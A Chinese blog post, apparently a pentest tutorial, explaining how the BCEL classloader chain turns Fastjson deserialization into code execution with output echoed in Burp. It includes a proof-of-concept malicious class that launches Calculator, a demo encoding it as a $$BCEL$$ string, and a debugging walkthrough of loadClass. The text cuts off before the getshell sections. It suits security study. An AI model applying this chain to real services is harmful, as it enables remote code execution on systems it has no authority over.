利用BCEL打fastjson直接burp回显getshell

本文聚焦Java漏洞利用,以Fastjson为例,因公网漏洞减少、内网无法用dnslog探测回显,故学习用bcel链在bp中回显getshell。介绍了bcel调试分析过程,包括恶意类测试、代码调试;还讲解了公网利用jndi工具和不出网利用bcel回显shell的方法及原理。

写作背景

实战中打点的话,java漏洞是最爽的,一打就是root权限。以fastjson为例,之前我曾经写过漏洞的原理,但是公网遇到的漏洞越来越少,大多都是在内网的环境,内网里没办法使用dnslog去探测回显。这里学习一下用bcel链直接在bp中产生回显进而getshell。

bcel调试分析

这里借用Zh1z3ven师傅的代码

准备一个恶意类

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

测试Demo

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELDemo {
    public static void main(String[] args) throws Exception {
        //使用BCEL(Byte Code Engineering Library)的Repository类的lookupClass方法,尝试从类路径中查找名为 'calc.class' 的类,并返回一个 JavaClass 对象。
        //'JavaClass' 是 BCEL 提供的类,用于表示已加载的 Java 类。
        JavaClass cls = Repository.lookupClass(calc.class);
        //使用 BCEL 提供的 'Utility' 类的 'encode' 方法,将字节码使用base64进行编码:'cls.getBytes()' 返回表示 'calc.class' 字节码的字节数组;true表示编码过程中进行分割
        String code = Utility.encode(cls.getBytes(),true);
        System.out.println(code);
        //创建了一个ClassLoader对象,调用其loadClass方法
        //loadClass方法用于加载类,接收一个字符串参数表示要加载的类的名称(这里的类通过将'$$BCEL$$'字符串和变量'code'拼接得到),再通过调用.newInstance方法创建一个新的对象
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

测试结果

可以看到我们控制台上不仅出现了一段看不懂的加密字符,还弹出了计算器,说明我们的恶意代码被执行了。

代码分析调试

  • 我们在弹出计算器的这段代码打上断点,f7步入ClassLoader,创建完毕一个ClassLoader对象

  • 继续步入loadClass方法,这里上将给定的ClassLoader类作为参数传递给loadClass方法,返回调用loadClass的重载方法进行类加载,默认将第二个参数var2设置为false。

  • f7步入laodClass的实现方法,这里主要是实现类加载机制,通过一系列尝试来加载指定的类,并返回对应的Class对象。
protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
  	//第一次尝试,在哈希表查找类
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
    	//第二次尝试:使用系统类加载器加载系统类
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
      	//第三次尝试:特殊请求?
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository 第四次尝试:通过仓库加载类
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, by
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值